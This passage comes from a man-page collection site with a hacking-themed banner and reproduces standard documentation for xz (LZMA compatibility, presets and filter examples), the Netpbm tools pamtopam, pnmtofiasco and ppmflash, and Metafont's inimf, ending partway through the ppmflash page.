The command line syntax of xz is practically a superset of lzma, unlzma, and lzcat as found from LZMA Utils 4.32.x. In most cases, it is possible to replace LZMA Utils with XZ Utils without breaking existing scripts. There are some incompatibilities though, which may sometimes cause problems.

Compression preset levels

The numbering of the compression level presets is not identical in xz and LZMA Utils. The most important difference is how dictionary sizes are mapped to different presets. Dictionary size is roughly equal to the decompressor memory usage.

LevelxzLZMA Utils
-0256 KiBN/A
-11 MiB64 KiB
-22 MiB1 MiB
-34 MiB512 KiB
-44 MiB1 MiB
-58 MiB2 MiB
-68 MiB4 MiB
-716 MiB8 MiB
-832 MiB16 MiB
-964 MiB32 MiB

The dictionary size differences affect the compressor memory usage too, but there are some other differences between LZMA Utils and XZ Utils, which make the difference even bigger:

LevelxzLZMA Utils 4.32.x
-03 MiBN/A
-19 MiB2 MiB
-217 MiB12 MiB
-332 MiB12 MiB
-448 MiB16 MiB
-594 MiB26 MiB
-694 MiB45 MiB
-7186 MiB83 MiB
-8370 MiB159 MiB
-9674 MiB311 MiB

The default preset level in LZMA Utils is -7 while in XZ Utils it is -6, so both use an 8 MiB dictionary by default.

Streamed vs. non-streamed .lzma files

The uncompressed size of the file can be stored in the .lzma header. LZMA Utils does that when compressing regular files. The alternative is to mark that uncompressed size is unknown and use end-of-payload marker to indicate where the decompressor should stop. LZMA Utils uses this method when uncompressed size isn’t known, which is the case, for example, in pipes.

xz supports decompressing .lzma files with or without end-of-payload marker, but all .lzma files created by xz will use end-of-payload marker and have uncompressed size marked as unknown in the .lzma header. This may be a problem in some uncommon situations. For example, a .lzma decompressor in an embedded device might work only with files that have known uncompressed size. If you hit this problem, you need to use LZMA Utils or LZMA SDK to create .lzma files with known uncompressed size.

Unsupported .lzma files

The .lzma format allows lc values up to 8, and lp values up to 4. LZMA Utils can decompress files with any lc and lp, but always creates files with lc=3 and lp=0. Creating files with other lc and lp is possible with xz and with LZMA SDK.

The implementation of the LZMA1 filter in liblzma requires that the sum of lc and lp must not exceed 4. Thus, .lzma files, which exceed this limitation, cannot be decompressed with xz.

LZMA Utils creates only .lzma files which have a dictionary size of 2^n (a power of 2) but accepts files with any dictionary size. liblzma accepts only .lzma files which have a dictionary size of 2^n or 2^n + 2^(n-1). This is to decrease false positives when detecting .lzma files.

These limitations shouldn’t be a problem in practice, since practically all .lzma files have been compressed with settings that liblzma will accept.

Trailing garbage

When decompressing, LZMA Utils silently ignore everything after the first .lzma stream. In most situations, this is a bug. This also means that LZMA Utils don’t support decompressing concatenated .lzma files.

If there is data left after the first .lzma stream, xz considers the file to be corrupt unless –single-stream was used. This may break obscure scripts which have assumed that trailing garbage is ignored.

NOTES

Compressed output may vary

The exact compressed output produced from the same uncompressed input file may vary between XZ Utils versions even if compression options are identical. This is because the encoder can be improved (faster or better compression) without affecting the file format. The output can vary even between different builds of the same XZ Utils version, if different build options are used.

The above means that once –rsyncable has been implemented, the resulting files won’t necessarily be rsyncable unless both old and new files have been compressed with the same xz version. This problem can be fixed if a part of the encoder implementation is frozen to keep rsyncable output stable across xz versions.

Embedded .xz decompressors

Embedded .xz decompressor implementations like XZ Embedded don’t necessarily support files created with integrity check types other than none and crc32. Since the default is –check=crc64, you must use –check=none or –check=crc32 when creating files for embedded systems.

Outside embedded systems, all .xz format decompressors support all the check types, or at least are able to decompress the file without verifying the integrity check if the particular check is not supported.

XZ Embedded supports BCJ filters, but only with the default start offset.

EXAMPLES

Basics

Compress the file foo into foo.xz using the default compression level (-6), and remove foo if compression is successful:

xz foo

Decompress bar.xz into bar and don’t remove bar.xz even if decompression is successful:

xz -dk bar.xz

Create baz.tar.xz with the preset -4e (-4 –extreme), which is slower than the default -6, but needs less memory for compression and decompression (48 MiB and 5 MiB, respectively):

tar cf - baz | xz -4e > baz.tar.xz

A mix of compressed and uncompressed files can be decompressed to standard output with a single command:

xz -dcf a.txt b.txt.xz c.txt d.txt.lzma > abcd.txt

Parallel compression of many files

On GNU and *BSD, find(1) and xargs(1) can be used to parallelize compression of many files:

find . -type f ! -name ‘*.xz’ -print0
| xargs -0r -P4 -n16 xz -T1

The -P option to xargs(1) sets the number of parallel xz processes. The best value for the -n option depends on how many files there are to be compressed. If there are only a couple of files, the value should probably be 1; with tens of thousands of files, 100 or even more may be appropriate to reduce the number of xz processes that xargs(1) will eventually create.

The option -T1 for xz is there to force it to single-threaded mode, because xargs(1) is used to control the amount of parallelization.

Robot mode

Calculate how many bytes have been saved in total after compressing multiple files:

xz –robot –list *.xz | awk ‘/^totals/{print $5-$4}’

A script may want to know that it is using new enough xz. The following sh(1) script checks that the version number of the xz tool is at least 5.0.0. This method is compatible with old beta versions, which didn’t support the –robot option:

if ! eval “$(xz –robot –version 2> /dev/null)” || [ “$XZ_VERSION” -lt 50000002 ]; then echo “Your xz is too old.” fi unset XZ_VERSION LIBLZMA_VERSION

Set a memory usage limit for decompression using XZ_OPT, but if a limit has already been set, don’t increase it:

NEWLIM=$((123 « 20)) # 123 MiB OLDLIM=$(xz –robot –info-memory | cut -f3) if [ $OLDLIM -eq 0 -o $OLDLIM -gt $NEWLIM ]; then XZ_OPT="$XZ_OPT –memlimit-decompress=$NEWLIM" export XZ_OPT fi

Custom compressor filter chains

The simplest use for custom filter chains is customizing a LZMA2 preset. This can be useful, because the presets cover only a subset of the potentially useful combinations of compression settings.

The CompCPU columns of the tables from the descriptions of the options -0-9 and –extreme are useful when customizing LZMA2 presets. Here are the relevant parts collected from those two tables:

PresetCompCPU
-00
-11
-22
-33
-44
-55
-66
-5e7
-6e8

If you know that a file requires somewhat big dictionary (for example, 32 MiB) to compress well, but you want to compress it quicker than xz -8 would do, a preset with a low CompCPU value (for example, 1) can be modified to use a bigger dictionary:

xz –lzma2=preset=1,dict=32MiB foo.tar

With certain files, the above command may be faster than xz -6 while compressing significantly better. However, it must be emphasized that only some files benefit from a big dictionary while keeping the CompCPU value low. The most obvious situation, where a big dictionary can help a lot, is an archive containing very similar files of at least a few megabytes each. The dictionary size has to be significantly bigger than any individual file to allow LZMA2 to take full advantage of the similarities between consecutive files.

If very high compressor and decompressor memory usage is fine, and the file being compressed is at least several hundred megabytes, it may be useful to use an even bigger dictionary than the 64 MiB that xz -9 would use:

xz -vv –lzma2=dict=192MiB big_foo.tar

Using -vv (–verbose –verbose) like in the above example can be useful to see the memory requirements of the compressor and decompressor. Remember that using a dictionary bigger than the size of the uncompressed file is waste of memory, so the above command isn’t useful for small files.

Sometimes the compression time doesn’t matter, but the decompressor memory usage has to be kept low, for example, to make it possible to decompress the file on an embedded system. The following command uses -6e (-6 –extreme) as a base and sets the dictionary to only 64 KiB. The resulting file can be decompressed with XZ Embedded (that’s why there is –check=crc32) using about 100 KiB of memory.

xz –check=crc32 –lzma2=preset=6e,dict=64KiB foo

If you want to squeeze out as many bytes as possible, adjusting the number of literal context bits (lc) and number of position bits (pb) can sometimes help. Adjusting the number of literal position bits (lp) might help too, but usually lc and pb are more important. For example, a source code archive contains mostly US-ASCII text, so something like the following might give slightly (like 0.1 %) smaller file than xz -6e (try also without lc=4):

xz –lzma2=preset=6e,pb=0,lc=4 source_code.tar

Using another filter together with LZMA2 can improve compression with certain file types. For example, to compress a x86-32 or x86-64 shared library using the x86 BCJ filter:

xz –x86 –lzma2 libfoo.so

Note that the order of the filter options is significant. If –x86 is specified after –lzma2, xz will give an error, because there cannot be any filter after LZMA2, and also because the x86 BCJ filter cannot be used as the last filter in the chain.

The Delta filter together with LZMA2 can give good results with bitmap images. It should usually beat PNG, which has a few more advanced filters than simple delta but uses Deflate for the actual compression.

The image has to be saved in uncompressed format, for example, as uncompressed TIFF. The distance parameter of the Delta filter is set to match the number of bytes per pixel in the image. For example, 24-bit RGB bitmap needs dist=3, and it is also good to pass pb=0 to LZMA2 to accommodate the three-byte alignment:

xz –delta=dist=3 –lzma2=pb=0 foo.tiff

If multiple images have been put into a single archive (for example, .tar), the Delta filter will work on that too as long as all images have the same number of bytes per pixel.

SEE ALSO

xzdec(1), xzdiff(1), xzgrep(1), xzless(1), xzmore(1), gzip(1), bzip2(1), 7z(1)

XZ Utils: <https://tukaani.org/xz/>
XZ Embedded: <https://tukaani.org/xz/embedded.html>
LZMA SDK: <https://7-zip.org/sdk.html>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

69 - Linux cli command pamtopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtopam and provides detailed information about the command pamtopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtopam.

.

NAME 🖥️ pamtopam 🖥️

copy PAM image

SYNOPSIS

pamtopam

DESCRIPTION

This program is part of Netpbm(1) .

pamtopam simply copies a PAM image from Standard Input to Standard Output. This may seem an unnecessary duplication of cat, but remember that a PAM program can read a PBM, PGM, or PPM image as if it were PAM. So pamtopam can read either a PBM, PGM, PPM, or PAM image and produce a PAM image as output.

Even that is of limited usefulness because of the fact that almost any program to which you would feed the resulting PAM image could also just take the original image directly. However, sometimes you really want a true PAM image.

You can do a more general job of translating PAM/PNM to PAM with pamchannel.

OPTIONS

There are no command line options defined specifically for pamtopam, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamtopnm(1) , ppmtoppm(1) , pgmtopgm(1) , pam(1) , pnm(1) , ppm(1) , pgm(1) , pbm(1)

HISTORY

This program was added to Netpbm in Release 10.41 (December 2007).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

70 - Linux cli command pnmtofiasco

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtofiasco and provides detailed information about the command pnmtofiasco, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtofiasco.

.

NAME 🖥️ pnmtofiasco 🖥️

Convert PNM file to FIASCO compressed file

SYNOPSIS

pnmtofiasco [option]… [filename]…

DESCRIPTION

This program is part of Netpbm(1) .

pnmtofiasco compresses the named pbm, pgm, or ppm image files, or Standard Input if no file is named, and produces a FIASCO file on Standard Output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtofiasco recognizes the following command line options:

All option names may be abbreviated; for example, –optimize may be written –optim or –opt. For most options a one letter short option is provided. Mandatory or optional arguments to long options are mandatory or optional for short options, too. Both short and long options are case sensitive.

Basic Options

-i name, **–image-name=**name
Compress the named images, not Standard Input. If name is -, read Standard Input. name has to be either an image filename or a template of the form:

prefix[start-end{+,-}step]suffix

Templates are useful when compressing video streams: e.g., if you specify the template img0[12-01-2].pgm, then pnmtofiasco compresses the images img012.pgm, img010.pgm, …, img002.pgm.

If name is a relative path, pnmtofiasco searches for the image files in the current directory and in the (colon-separated) list of directories given by the environment variable FIASCO_IMAGES.

-o output-file, **–output-name=**name
Write FIASCO output to the named file, not to Standard Output.

If name is a relative path and the environment variable FIASCO_DATA is a (colon-separated) list of directories, then pnmtofiasco writes the output file to the first (writable) directory of this list. Otherwise, pnmtofiasco write it to the current directory.

-q N, **–quality=**N
Set quality of compression to N. Quality is 1 (worst) to 100 (best); default is 20.

-v, –version
Print pnmtofiasco version number, then exit.

-V N, –verbose N
Set level of verbosity to N. Level is 0 (no output at all), 1 (show progress meter), or 2 (show detailed compression statistics); default is 1.

-B N, –progress-meter N
Set type of progress-meter to N. The following types are available; default is 1:

0
no progress meter

1
RPM style progress bar using 50 hash marks

2
percentage meter

-f name, **–config=**name
Load parameter file name to initialize the options of pnmtofiasco. See file system.fiascorc for an example of the syntax. Options of pnmtofiasco are set by any of the following methods (in the specified order):

  • Global resource file /etc/system.fiascorc

  • $HOME/.fiascorc

  • command line

  • –config=name

-h, –info
Print brief help, then exit.

-H, –help
Print detailed help, then exit.

Options for Advanced Users

-b name, **–basis-name=**name
Preload compression basis name into FIASCO. The basis name provides the initial compression dictionary. Either use one of the files “small.fco”, “medium.fco”, or “large.fco” that come with pnmtofiasco or create a new ASCII basis file.

-z N, **–optimize=**N
Set optimization level to N. Level is 0 (fastest) to 3 (slowest); default is 1. Be warned, the encoding time dramatically increased when N=2 or N=3 while the compression performance only slightly improves.

-P, –prediction
Use additional predictive coding. If this optimization is enabled then the image is compressed in two steps. In the first step, a coarse approximation of the image is computed using large unichrome blocks. Finally, the delta image is computed and the prediction error is approximated using the standard FIASCO algorithm.

-D N, **–dictionary-size=**N
Set size of dictionary that is used when coding the luminance band to N; default is 10000, i.e., the dictionary is not restricted.

-C N, **–chroma-dictionary=**N
Set size of dictionary that is used when coding chroma bands to N; default is 40.

-Q N, –chroma-qfactor=N
Reduce the quality of chroma band compression N-times with respect to the user defined quality q of the luminance band compression (
–quality
=q); default is 2.

-t N, **–tiling-exponent=**N
Subdivide the image into 2^N tiles prior coding; default is 4, i.e. the image is subdivided into 16 tiles. The processing order of the individual tiles is defined by the option **–tiling-method=**name.

-T name, **–tiling-method=**name
Order the individual image tiles (the image is subdivided into; see option **–tiling-exponent=**N) by method name; default is desc-variance.

desc-variance
Tiles with small variances are processed first.

asc-variance
Tiles with large variances are processed first.

desc-spiral
Tiles are process in spiral order starting in the middle.

asc-spiral
Tiles are process in spiral order starting at the border.

**–rpf-mantissa=**N
Use N mantissa bits for quantized coefficients.

**–dc-rpf-mantissa=**N
Use N mantissa bits for quantized DC coefficients.

**–rpf-range=**N
Coefficients outside the quantization interval [-N,+N] are set to zero.

**–dc-rpf-range=**N
DC coefficients outside the quantization interval [-N,+N] are set to zero.

Additional Options for Video Compression

-s N, **–smooth=**N
Smooth decompressed reference frames along the partitioning borders by the given amount N. N is 0 (no smoothing) to 100; default is 70. This factor is stored in the FIASCO file.

-m N, **–min-level=**N
Start prediction (motion compensated prediction or additional prediction) on block level N; default is level 6. I.e., motion compensation is applied to all image blocks of at least 8x8 pixels (binary tree level N=6), 16x8 (N=7), 16x16 (N=8), etc.

-M N, **–max-level=**N
Stop prediction (motion compensated prediction or additional prediction) on block level N; default is level 10. I.e., motion compensation is applied to all image blocks of at most 16x16 pixels (N=8), 32x16 (N=9), 32x32 (N=10), etc.

-2, –half-pixel
Use half pixel precise motion compensation.

-F N, **–fps=**N
Set number of frames per second to N. This value is stored in the FIASCO output file and is used in the decoder fiascotopnm(1) to control the framerate.

-p type, **–pattern=**type
Defines the type of inter frame compression which should be applied to individual frames of a video stream. type is a sequence of characters; default is “IPPPPPPPPP”. Element N defines the type of predicting which should be used for frame N; the frame type pattern is periodically extended. Valid characters are:

I
intra frame, i.e., no motion compensated prediction is used at all.

P
predicted frame, i.e., a previously encoded frame is used for prediction (forward prediction).

B
bidirectional predicted frame, i.e., not only a previously shown frame but also a frame of the future is used for prediction (forward, backward or interpolated prediction).

–cross-B-search
Instead of using exhaustive search the “Cross-B-Search” algorithm is used to find the best interpolated prediction of B-frames.

–B-as-past-ref
Also use previously encoded B-frames when prediction the current frame. If this option is not set, only I- and P-frames are used to predict the current frame.

EXAMPLES

Compress the still image “foo.ppm” to the FIASCO file “foo.wfa” using the default options:

        pnmtofiasco < foo.ppm >foo.wfa

Compress the video frames “foo0*.ppm” to the FIASCO file “video.wfa” using half pixel precise motion compensation at a frame rate of 15 frames per second. Intra frame 1 is used to predict P-frame 4, frames 1 and 4 are used to predict B-frames 2 and 3, and so on. Frame 10 is again an intra-frame.

        pnmtofiasco -2 -p "IBBPBBPBB" -fps 15 -o video.wfa foo0*.ppm

FILES

/etc/system.fiascorc
The systemwide initialization file.

$HOME**/.fiascorc**
The personal initialization file.

ENVIRONMENT

FIASCO_IMAGES
Search path for image files. Default is “./”.

FIASCO_DATA
Search and save path for FIASCO files. Default is “./”.

SEE ALSO

fiascotopnm(1) , pnmtojpeg(1) , pnmtojbig(1) , pamtogif(1) , pnm(1)

Ullrich Hafner, Juergen Albert, Stefan Frank, and Michael Unger. Weighted Finite Automata for Video Compression, IEEE Journal on Selected Areas In Communications, January 1998

Ullrich Hafner. Low Bit-Rate Image and Video Coding with Weighted Finite Automata, Ph.D. thesis, Mensch & Buch Verlag, ISBN 3-89820-002-7, October 1999.

FIASCO: An Open-Source Fractal Image and Sequence Codec, Linux Journal, January 2001.

AUTHOR

Ullrich Hafner <[email protected]>

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtofiasco.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

71 - Linux cli command inimf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command inimf and provides detailed information about the command inimf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the inimf.

NAME 🖥️ inimf 🖥️

nowin - Metafont, a language for font and logo design

SYNOPSIS

mf [options] [commands]

DESCRIPTION

Metafont reads the program in the specified files and outputs font rasters (in gf format) and font metrics (in tfm format). The Metafont language is described in The Metafont book.

Like TeX, Metafont is normally used with a large body of precompiled macros, and font generation in particular requires the support of several macro files. This version of Metafont looks at its command line to see what name it was called under. Both inimf and virmf are symlinks to the mf executable. When called as inimf (or when the -ini option is given) it can be used to precompile macros into a .base file. When called as virmf it will use the plain base. When called under any other name, Metafont will use that name as the name of the base to use. For example, when called as mf the mf base is used, which is identical to the plain base. Other bases than plain are rarely used.

The commands given on the command line to the Metafont program are passed to it as the first input line. (But it is often easier to type extended arguments as the first input line, since UNIX shells tend to gobble up or misinterpret Metafont’s favorite symbols, like semicolons, unless you quote them.) As described in The Metafont book, that first line should begin with a filename, a *controlsequence*, or a &basename.

The normal usage is to say

mf ‘\mode=<printengine> ;  [ mag=magstep(* n* ) ; ]’ input   font

to start processing font.mf. The single quotes are the best way of keeping the Unix shell from misinterpreting the semicolons and from removing the \ character, which is needed here to keep Metafont from thinking that you want to produce a font called mode. (Or you can just say mf and give the other stuff on the next line, without quotes.) Other control sequences, such as batchmode (for silent operation) can also appear. The name font will be the ``jobname’’, and is used in forming output file names. If Metafont doesn’t get a file name in the first line, the jobname is mfput. The default extension, .mf, can be overridden by specifying an extension explicitly.

A log of error messages goes into the file jobname** . log. The output files are jobname . tfm and jobname . **< number >gf, where <number> depends on the resolution and magnification of the font. The mode in this example is shown generically as <printengine>, a symbolic term for which the name of an actual device or, most commonly, the name localfont (see below) must be substituted. If the mode is not specified or is not valid for your site, Metafont will default to proof mode which produces large character images for use in font design and refinement. Proof mode can be recognized by the suffix .2602gf after the jobname. Examples of proof mode output can be found in Computer Modern Typefaces (Volume E of Computers and Typesetting). The system of magsteps is identical to the system used by TeX, with values generally in the range 0.5, 1.0, 2.0, 3.0, 4.0 and 5.0. A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts is shown below.

MAGSTEP118 dpi240 dpi300 dpi
mag=magstep(0)118240300
mag=magstep(0.5)129263329
mag=magstep(1)142288360
mag=magstep(2)170346432
mag=magstep(3)204415518
mag=magstep(4)245498622
mag=magstep(5)294597746

Magnification can also be specified not as a magstep but as an arbitrary value, such as 1.315, to create special character sizes.

Before font production can begin, it is necessary to set up the appropriate base files. The minimum set of components for font production for a given print-engine is the plain.mf macro file and the local mode_def file. The macros in plain.mf can be studied in an appendix to the Metafont book; they were developed by Donald E. Knuth, and this file should never be altered except when it is officially upgraded. Each mode_def specification helps adapt fonts to a particular print-engine. There is a regular discussion of mode_defs in TUGboat, the journal of the TeX Users Group. The local ones in use on this computer should be in modes.mf.

The e response to Metafont ’s error-recovery mode invokes the system default editor at the erroneous line of the source file. There is an environment variable, MFEDIT, that overrides the default editor. It should contain a string with “%s” indicating where the filename goes and “%d” indicating where the decimal linenumber (if any) goes. For example, an MFEDIT string for the vi editor can be set with the csh command

setenv MFEDIT “vi +%d %s”

A convenient file in the library is null.mf, containing nothing. When mf can’t find the file it thinks you want to input, it keeps asking you for another file name; responding `null’ gets you out of the loop if you don’t want to input anything.

ONLINE GRAPHICS OUTPUT

Metafont can use most modern displays, so you can see its output without printing. Chapter 23 of The Metafont book describes what you can do. This implementation of Metafont uses environment variables to determine which display device you want to use. First it looks for a variable MFTERM, and then for TERM. If it can’t find either, you get no online output. Otherwise, the value of the variable determines the device to use: hp2627, sun (for old SunView), tek, uniterm (for an Atari ST Tek 4014 emulator), xterm (for either X10 or X11). Some of these devices may not be supported in all Metafont executables; the choice is made at compilation time.

On some systems, there are two Metafont binaries, mf and mf-nowin. On those systems the mf binary supports graphics, while the mf-nowin binary does not. The mf-nowin binary is used by scripts like mktexpk where graphics support is a nuisance rather than something helpful.

OPTIONS

This version of Metafont understands the following command line options.

-base* base*
Use base as the name of the base to be used, instead of the name by which Metafont was called or a %& line.

-cnf-line* string*
Parse string as a texmf.cnf configuration line. See the Kpathsea manual.

-file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

-no-file-line-error
Disable printing error messages in the file:line:error style.

-file-line-error-style
This is the old name of the -file-line-error option.

-halt-on-error
Exit with an error code when an error is encountered during processing.

-help
Print help message and exit.

-ini
Be inimf, for dumping bases; this is implicitly true if the program is called as inimf.

-interaction* mode*
Sets the interaction mode. The mode can be one of batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding commands.

-jobname* name*
Use name for the job name, instead of deriving it from the name of the input file.

-kpathsea-debug* bitmask*
Sets path searching debugging flags according to the bitmask. See the Kpathsea manual for details.

-maketex* fmt*
Enable mktexfmt, where fmt must be mf.

-no-maketex* fmt*
Disable mktexfmt, where fmt must be mf.

-output-directory* directory*
Write output files in directory instead of the current directory. Look up input files in directory first, then along the normal search path.

-parse-first-line
If the first line of the main input file begins with %& parse it to look for a dump name or a -translate-file option.

-no-parse-first-line
Disable parsing of the first line of the main input file.

-progname* name*
Pretend to be program name. This affects both the format used and the search paths.

-recorder
Enable the filename recorder. This leaves a trace of the files opened for input and output in a file with extension .fls.

-translate-file* tcxname*
Use the tcxname translation table.

-version
Print version information and exit.

ENVIRONMENT

See the Kpathsearch library documentation (the `Path specifications’ node) for the details of how the environment variables are use when searching. The kpsewhich utility can be used to query the values of the variables.

If the environment variable TEXMFOUTPUT is set, Metafont attempts to put its output files in it, if they cannot be put in the current directory. Again, see tex(1).

MFINPUTS
Search path for input files.

MFEDIT
Command template for switching to editor.

MFTERM
Determines the online graphics display. If MFTERM is not set, and DISPLAY is set, the Metafont window support for X is used. (DISPLAY must be set to a valid X server specification, as usual.) If neither MFTERM nor DISPLAY is set, TERM is used to guess the window support to use.

FONT UTILITIES

A number of utility programs are available. The following is a partial list of available utilities and their purpose. Consult your local Metafont guru for details.

gftopk
Takes a gf file and produces a more tightly packed pk font file.

gftodvi
Produces proof sheets for fonts.

gftype
Displays the contents of a gf file in mnemonics and/or images.

pktype
Mnemonically displays the contents of a pk file.

mft
Formats a source file as shown in Computer Modern Typefaces.

FILES

mf.pool
Encoded text of Metafont’s messages.

*.base
Predigested Metafont base files.

$TEXMFMAIN/metafont/base/plain.mf
The standard base.

$TEXMFMAIN/metafont/misc/modes.mf
The file of mode_defs for your site’s various printers

NOTES

This manual page is not meant to be exhaustive. The complete documentation for this version of Metafont can be found in the info manual Web2C: A TeX implementation.

BUGS

On January 4, 1986 the ``final’’ bug in Metafont was discovered and removed. If an error still lurks in the code, Donald E. Knuth promises to pay a finder’s fee which doubles every year to the first person who finds it. Happy hunting.

SUGGESTED READING

Donald E. Knuth, The Metafont book (Volume C of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13445-4.
Donald E. Knuth, Metafont:  The Program (Volume D of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13438-1.
Donald E. Knuth, Computer Modern Typefaces (Volume E of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13446-2.
TUGboat (the journal of the TeX Users Group).

COMMENTS

Warning: ``Type design can be hazardous to your other interests. Once you get hooked, you will develop intense feelings about letterforms; the medium will intrude on the messages that you read. And you will perpetually be thinking of improvements to the fonts that you see everywhere, especially those of your own design.’'

SEE ALSO

gftopk(1), gftodvi(1), gftype(1), mft(1), mpost(1), pltotf(1), tftopl(1).

AUTHORS

Metafont was designed by Donald E. Knuth, who implemented it using his Web system for Pascal programs. It was originally ported to Unix by Paul Richards at the University of Illinois at Urbana-Champaign. This page was mostly written by Pierre MacKay.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

72 - Linux cli command ppmflash

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmflash and provides detailed information about the command ppmflash, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmflash.

.

NAME 🖥️ ppmflash 🖥️

brighten a picture to approach white

SYNOPSIS

ppmflash flashfactor [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmflash reads a PPM image as input. It changes the color of each pixel to bring it a specified amount closer to white. It generates a PPM image of the result.

flashfactor is a real number between 0 and 1, inclusive. ppmflash increases the intensity of each RGB component by the fraction flashfactor of the difference between the current value and full intensity. So if a pixel contains 60% full red, 10% full green, and no blue and you specify 0.5 (half), ppmflash increases the red to 80% (because it was 40% from full intensity, so it adds half of 40% to the original 60%), the green to 55%, and the blue to 50%.

If flashfactor is zero, the output is identical to the input. If flashfactor is one, the output is all white.

pambrighten does a more normal kind of brightening. pamfunc does a very simple brightening. Both pambrighten and pamfunc can reduce brightness as well.

pnmgamma is another way people do a similar brightening, though it isn’t really intended for that.

OPTIONS

There are no command line options defined specifically for ppmflash, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pambrighten(1) pamfunc(1) , pnmgamma(1) , ppm(1) ,

AUTHOR

